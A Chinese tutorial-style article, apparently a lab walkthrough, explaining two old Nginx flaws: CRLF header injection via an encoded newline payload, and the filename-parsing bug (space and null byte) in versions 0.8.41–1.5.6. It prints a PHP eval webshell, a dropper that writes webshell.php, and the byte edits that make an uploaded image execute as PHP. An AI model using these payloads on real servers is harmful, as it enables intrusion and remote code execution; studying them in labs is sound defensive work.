当前位置： 首页 > article >正文

Nginx相关漏洞解析

article 2025/3/29 8:33:16

一、CRLF注入漏洞

原理：Nginx将传入的url进行解码，对其中的%0a%0d替换成换行符，导致后面的数据注入至头部，造成CRLF 注入漏洞

1、开环境

2、访问网站，并抓包

3、构造请求头

%0ASet-cookie:JSPSESSID%3D1 

这样就可以看到响应头里有我们刚刚添加的cookie了

二、文件名逻辑漏洞

原理：非法字符空格和截止符（\0）会导致Nginx解析URI时的有限状态机混乱，此漏洞可导致目录跨越及代码执行，其影响版本为：nginx 0.8.41 – 1.5.6

1、开环境

2、制造木马

在我们本地新建一个1.jpg（因为这里只能上传图片文件）里面写入一句话木马

<?php @eval($_POST[cmd]);?>

3、上传木马，抓包

4、修改数据包

在文件名的最后加个空格，就可以把木马上传进去

5、放行，访问木马

这里看到木马已经上传进去了

（1）直接访问是访问不到的，我们需要在文件名后加...php然后抓包

（2）抓到包之后修改数据包，把2e 2e 2e修改为20 00 2e

（3）放行

修改完成之后放行就可以访问到木马了

6、测试连接

这里发现我们的木马文件虽然传上去了，但是因为我们的木马文件被编码了，所以直接连是连不上的，所以我们需要重新构造木马文件

7、重新构造文件上传

这串代码的意思是：在当前目录生成一个webshell.php文件，里面是一句话木马

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

上传2.jpg，抓包，加空格，放行

访问刚刚上传的文件，这一步是为了执行代码

/uploadfiles/2.jpg...php

还是抓包，修改为20 00 2e

执行成功之后去访问我们木马里写的webshell.php文件

8、访问成功，测试连接


http://www.kler.cn/a/600667.html

相关文章：

  • Go常见问题与答案笔记
  • 非完整移动多机器人系统的事件触发编队控制方法研究
  • 基于ssm的微博网站(全套)
  • 《基于计算机视觉的步态识别方法研究》开题报告
  • HTML5 Geolocation（地理定位）学习笔记
  • 鸿蒙学习笔记（1）-文件解读、编写程序、生命周期
  • 【学习记录】vue3中 Ref跟ref的区别？
  • Windows 10 LTSC 2019 中文版下载及安装教程（附安装包）
  • Elixir语言的测试开发
  • 安装DNS(BIND)并部署主、从域服务
  • Zotero·Awesome GPT配置
  • 后端返回了 xlsx 文件流，前端怎么下载处理
  • DIVA-GIS：一个免费的GIS分析小软件
  • 每日总结3.24
  • 如何理解 Apache Iceberg 与湖仓一体（Lakehouse）？
  • 【C++】 —— 笔试刷题day_8
  • SpringMVC 配置与应用详解
  • 《TCP/IP网络编程》学习笔记 | Chapter 22：重叠 I/O 模型
  • 基础场景-------------------（5）重载和重写的区别
  • 数据库练习